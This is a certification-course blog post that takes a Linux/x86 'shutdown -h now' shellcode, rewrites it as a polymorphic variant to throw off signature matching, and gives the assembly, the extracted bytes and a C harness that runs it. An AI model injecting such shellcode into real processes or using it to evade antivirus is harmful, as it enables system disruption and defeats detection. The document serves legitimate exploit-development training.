12 Minute Read
Student ID: SLAE-1250

Assignment Six: Polymorphic Conversion of Shellcode Part Three - shutdown -h now

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html

All code can be found in: https://github.com/securitychops/security-tube-slae32

All work was tested on a 32bit version of Ubuntu 12.10

TLDR; - JMP short Final_Breakdown


Part three of assignment six of the SLAE has us performing our final polymorphic transformation on the Linux/x86 shellcode taken from shell-storm.org:
Linux/x86 - shutdown -h now - 56 bytes

Just like in the previous two assignments the very first thing we should do is start by analyzing the shell/assembly code that we will need to perform our polymorphic transformation on:

global _start

section .text

_start:

xor    eax,eax                ; zero out eax
xor    edx,edx                ; zero out edx
push   eax                    ; push null terminator to stack
push   word 0x682d            ; push '-h' to stack
mov    edi,esp                ; move '-h' to edi
push   eax                    ; push null terminator to stack
push   0x6e                   ; push 'n'
mov word [esp+0x1],0x776f     ; edit memory in stack at offset 1
                              ; accounting for 'n' and insert
                              ; 'wo' which will complete 'now'
			      ; this was done to avoid getting a 0x00
			      ; if we pushed a dword for all of now
			      ; at one time with 0x776f6e since the
			      ; last logical byte on the string is 00
mov    edi,esp                ; move won (now) to edi
push   eax                    ; push null terminator to stack
push   0x6e776f64             ; push 'nwod' to stack
push   0x74756873             ; push 'tuhs' to stack
push   0x2f2f2f6e             ; push '///n' to stack
push   0x6962732f             ; push 'ibs/' to stack
                              ; which is '/sbin///shutdown'
mov    ebx,esp                ; move '/sbin///shutdown' to ebx
push   edx                    ; push null terminator to stack
push   esi                    ; push null terminator to stack
push   edi                    ; push '-h now' to the stack
push   ebx                    ; push '/sbin///shutdown' to stack
mov    ecx,esp                ; move {'/sbin///shutdown', -h, now} to ecx
mov    al,0xb                 ; set eax to 0x0B (execve)
int    0x80                   ; execute execve


I have gone ahead and added a few notes in the assembly code that was produced above to hopefully make it more clear as to what is happening!

Just like we did in previous two examples we again referenced /usr/include/i386-linux-gnu/asm/unistd_32.h and were able to find out that the first function that we are going to be calling is:

#define __NR_execve 11


which in C is:

int execve(const char *filename, char *const argv[], char *const envp[]);


If it is unclear why we would be calling the execve function in this way please refer to the first blog post in this series as it goes into an extremely detailed explanation of who/what/why/how this is being done: Assignment One: Creating Shellcode to Bind a Shell Over TCP

The shellcode size we end up with is only 56 bytes, which means that in order to be within an acceptable range of no larger than 150% of the size of the original shellcode we can’t end up any larger than 84 bytes for our shellcode!

Below is the polymorphic version of the shellcode that I put together, it is again not too crazy and only has a few differences! Even better is this shellcode ends up only being 55 bytes, which means we managed to generate polymorphic shellcode that is exactly one byte smaller than our original shellcode!

; Student ID     : SLAE-1250
; Student Name   : Jonathan "Chops" Crosby
; Assignment 6.3 : polymorphic shutdown -h now for Linux/x86 Assembly
; File Name      : shutdown.nasm
; Shell Storm    : http://shell-storm.org/shellcode/files/shellcode-876.php

global _start

section .text

_start:

xor    ecx, ecx               ; zero out ecx
mul    ecx                    ; zero out edx, eax
push   eax                    ; push null terminator to stack
push   word 0x682d            ; push '-h' to stack
mov    edi, esp               ; move '-h' to edi
push   0x6e                   ; push 'n'
mov word [esp+0x1],0x776f     ; edit memory in stack at offset 1
                              ; accounting for 'n' and insert
                              ; 'wo' which will complete 'now'
                              ; this was done to avoid getting a 0x00
                              ; if we pushed a dword for all of now
                              ; at one time with 0x776f6e since the
                              ; last logical byte on the string is 00
mov    edi,esp                ; move won (now -h) to edi
push   edx                    ; push null terminator to stack
push   0x6e776f64             ; push 'nwod' to stack
push   0x74756873             ; push 'tuhs' to stack
push   0x2f2f2f6e             ; push '///n' to stack
push   0x6962732f             ; push 'ibs/' to stack
                              ; which is '/sbin///shutdown'
mov    ebx,esp                ; move '/sbin///shutdown' to ebx
push   eax                    ; push null terminator to stack
push   edi                    ; push '-h, now' to the stack
push   ebx                    ; push '/sbin///shutdown' to stack
mov    ecx,esp                ; move {'/sbin///shutdown', -h, now} to ecx
add    eax, 0xb               ; eax is already 0x00 so we add 0xb to it
int    0x80                   ; execute execve


The main takeaway from this block of code was the usage of the mul instruction again in order to clear out ebx and edx with one instruction as well as the add eax, 0xb instruction to increase eax from 0x00 to 0x0B! There is once again nothing earth shattering going on here, but I still think it drives an important point home that changing even a handful of instructions is enough to throw off signature matching!

Just like in the first few lessons of the SLAE we again leveraged our helper compile.sh script in order to assemble our shellcode into a linked elf binary as such:

./compile.sh shutdown
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!


Once we had the assembled binary (and tested that it worked correctly) we again were able to extract the shellcode through the same command line fu as from the earlier lessons:

objdump -d ./shutdown|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
commandlinefu - shellcode from objdump


Which produces the following 55 bytes of shellcode!

"\x31\xc9\xf7\xe1\x50\x66\x68\x2d\x68\x89\xe7\x6a\x6e\x66\xc7\x44\x24\x01\x6f\x77\x89\xe7\x52\x68\x64\x6f\x77\x6e\x68\x73\x68\x75\x74\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x50\x57\x53\x89\xe1\x83\xc0\x0b\xcd\x80"


At this point we are now able to replace the shellcode in our helper C program as such:

// Student ID     : SLAE-1250
// Student Name   : Jonathan "Chops" Crosby
// Assignment 6.3 : Shell Code Test File
// File Name      : shutdown.c

#include<stdio.h>
#include<string.h>

//compile with: gcc shutdown.c -o shutdown -fno-stack-protector -z execstack

unsigned char code[] = \
"\x31\xc9\xf7\xe1\x50\x66\x68\x2d\x68\x89\xe7\x6a\x6e\x66\xc7\x44\x24\x01\x6f\x77\x89\xe7\x52\x68\x64\x6f\x77\x6e\x68\x73\x68\x75\x74\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x50\x57\x53\x89\xe1\x83\xc0\x0b\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}


And then we are able to compile our final binary and execute the shellcode as though it were being injected into the memory of a victim process

gcc shutdown.c -o shutdown -fno-stack-protector -z execstack


Animated gif of the complete compilation and running of our polymorphic shellcode!

running the decoded shellcode

Please ignore my typing of the root password wrong two times, it was a long day!


The previous two assignments we had added screenshots for the virus total findings, however for these two scans there were no findings at all. I have gone ahead and included links to the scans for completeness, but zero findings turning into zero findings is still a win!

Original shellcode VirusTotal Findings

Our shellcode VirusTotal Findings


Final_Breakdown:


Below are the contents of the final code needed to generate the polymorphic obfuscated shellcode inspired by the shellcode found at: Linux/x86 - shutdown -h now - 56 bytes.

Assembly Code

; Student ID     : SLAE-1250
; Student Name   : Jonathan "Chops" Crosby
; Assignment 6.3 : polymorphic shutdown -h now for Linux/x86 Assembly
; File Name      : shutdown.nasm
; Shell Storm    : http://shell-storm.org/shellcode/files/shellcode-876.php

global _start

section .text

_start:

xor    ecx, ecx               ; zero out ecx
mul    ecx                    ; zero out edx, eax
push   eax                    ; push null terminator to stack
push   word 0x682d            ; push '-h' to stack
mov    edi, esp               ; move '-h' to edi
push   0x6e                   ; push 'n'
mov word [esp+0x1],0x776f     ; edit memory in stack at offset 1
                              ; accounting for 'n' and insert
                              ; 'wo' which will complete 'now'
			      ; this was done to avoid getting a 0x00
			      ; if we pushed a dword for all of now
			      ; at one time with 0x776f6e since the
			      ; last logical byte on the string is 00
mov    edi,esp                ; move won (now -h) to edi
push   edx                    ; push null terminator to stack
push   0x6e776f64             ; push 'nwod' to stack
push   0x74756873             ; push 'tuhs' to stack
push   0x2f2f2f6e             ; push '///n' to stack
push   0x6962732f             ; push 'ibs/' to stack
                              ; which is '/sbin///shutdown'
mov    ebx,esp                ; move '/sbin///shutdown' to ebx
push   eax                    ; push null terminator to stack
push   edi                    ; push '-h, now' to the stack
push   ebx                    ; push '/sbin///shutdown' to stack
mov    ecx,esp                ; move {'/sbin///shutdown', -h, now} to ecx
add    eax, 0xb               ; eax is already 0x00 so we add 0xb to it
int    0x80                   ; execute execve
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-6/shutdown.nasm

Helper Compile Bash Script

./compile.sh shutdown
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-6/compile.sh

Final C Program To Execute Shellcode

// Student ID     : SLAE-1250
// Student Name   : Jonathan "Chops" Crosby
// Assignment 6.3 : Shell Code Test File
// File Name      : shutdown.c

#include<stdio.h>
#include<string.h>

//compile with: gcc shutdown.c -o shutdown -fno-stack-protector -z execstack

unsigned char code[] = \
"\x31\xc9\xf7\xe1\x50\x66\x68\x2d\x68\x89\xe7\x6a\x6e\x66\xc7\x44\x24\x01\x6f\x77\x89\xe7\x52\x68\x64\x6f\x77\x6e\x68\x73\x68\x75\x74\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x50\x57\x53\x89\xe1\x83\xc0\x0b\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-6/shutdown.c

Jonathan Crosby

growing my chops in cybersecurity
(all opinions are my own and not the views of my employer)